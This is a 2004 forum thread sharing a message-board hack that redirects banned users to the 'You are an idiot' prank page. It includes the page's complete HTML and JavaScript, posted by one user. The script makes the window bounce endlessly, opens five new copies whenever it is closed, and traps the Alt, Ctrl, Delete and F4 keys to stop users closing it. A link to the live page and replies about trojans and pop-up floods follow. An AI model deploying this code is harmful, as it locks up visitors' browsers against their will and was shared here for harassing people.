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Idiot Ban · **Released**: 01-11-2004

This is a pretty simple, yet pretty funny hack. Most everyone has received a link in their email, posted in a forum, or wherever that will redirect you to a site with a flash image singing "You are an idiot. Ha ha ha ha ha". This window is usually very annoying and very hard to close since it multiplies itself. Well with this hack, problem users can be "banned" and automatically redirected to this page. In most cases simply banning a problem member is enough, but every once in a while you come across those users that just don't give up and constantly try to annoy you. Well with this hack you can at least annoy them a little as well. I finally decided to make this for my own forums, so I thought I'd go ahead and share it here as well.

Just for anyone who isn't familiar with the site, here is a link to it. Be warned that you will most likely have to use ctrl+alt+delete to end your browser, so be sure you don't have anything important open before clicking on this link!
http://earth.prohosting.com/jesos

Note: I'm not sure how long that site will stay around. If it ever changes though it's pretty easy to modify the URL in the code.

Nam · #22 01-19-2004, 12:09 PM

Quote:

Originally Posted by corn

OMG

this is the most useless hack ever

LMAO :speechless:

Very funny hack, but I don't think I'm gonna need it for my site, though I love to piss people off.

genmud · #23 02-02-2004, 01:10 AM

HTML Code:

[size=2]

<html>

<head>

<title>Mogle</title>

<script language=Javascript>

function altf4key()

{

if (event.keyCode == 18 || event.keyCode == 115) alert("You are an idiot!");

}

function ctrlkey()

{

if (event.keyCode == 17) alert("You are an idiot!");

}

function delkey()

{

if (event.keyCode == 46) alert("You are an idiot!");

}

var xOff = 5;

var yOff = 5;

var xPos = 400;

var yPos = -100;

var flagRun = 1;

function openWindow(url)

{

aWindow = window.open(url,"_blank");

}

function procreate()

{

openWindow("index.html");

openWindow("index.html");

openWindow("index.html");

openWindow("index.html");

openWindow("index.html");

}

function newXlt()

{

xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;

window.focus()

}

function newXrt()

{

xOff = Math.ceil(7 * Math.random()) * 5 - 10 ;

}

function newYup()

{

yOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;

}

function newYdn()

{

yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ;

}

function fOff()

{

flagrun = 0;

}

function playBall()

{

xPos += xOff;

yPos += yOff;

if (xPos > screen.width-175)

{

newXlt();

}

if (xPos < 0)

{

newXrt();

}

if (yPos > screen.height-100)

{

newYup();

}

if (yPos < 0)

{

newYdn();

}

if (flagRun == 1)

{

window.moveTo(xPos,yPos);

setTimeout('playBall()',1);

}

}

</script>

</head>

<body bgColor=#ffffff onload="playBall();" onunload="procreate();" onKeyDown="altf4key();ctrlkey();delkey();" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"><!-- BEGIN PROBE CODE -->

<embed src="youare.swf" height=600 width=600>

</body>

</html>[/size]

That is the html code for the webpage...

go to http://earth.prohosting.com/jesos/youare.swf to save that flash animation... then upload or whatever

idn

SloppyGoat · #24 02-09-2004, 01:17 AM

Hahaha! I actually saved that page a long time ago and put it on my server. Anytime I saw an idiot who desperately needed it, I'd post the link for the idiot to click on. But this is even better!

My version has two js files and two html files, plus the swf, though.

Osterling · #25 02-28-2004, 02:56 AM

this didnt work for me.. i have RC4.. is it rc4 compatiable?

Osterling · #26 02-28-2004, 03:15 AM

Quote:

if ($shownewpm)
{
if ($bbuserinfo['pmunread'] == 1)
{

}

else
{
$pmpopupurl = "private.php?$session[sessionurl_js]";
}
eval('$footer .= "' . fetch_template('pm_popup_script') . '";');
}

that is what mine looks like.. where should i put the code for the idiot ban

Osterling · #27 03-03-2004, 01:40 AM

anyone wanna give me support?

rebelsrock06 · #28 03-06-2004, 06:32 PM

Quote:

Originally Posted by MetalGearMaster

Does it really upload a trojan to the user's computer? because if it does i wont use this, even though its an awesome hack!

MGM out

what exactly is a trojan, and NO im not talking about the condom

Osterling · #29 03-06-2004, 11:33 PM

you guys don't wanna offer me any support

Wifey · #30 03-17-2004, 02:00 AM

Oh my God, I wish that this hack had been installed on a board I moderate. We have two that need to die in lots of popups from this website

Very clever

When the time comes I just might add this!

rebelsrock06 · #31 03-17-2004, 02:02 AM

except for the whole trojan thing its ok. i open this thing and ever since My somputer has had a total SPAM from pop ups and everything, IM PISSED

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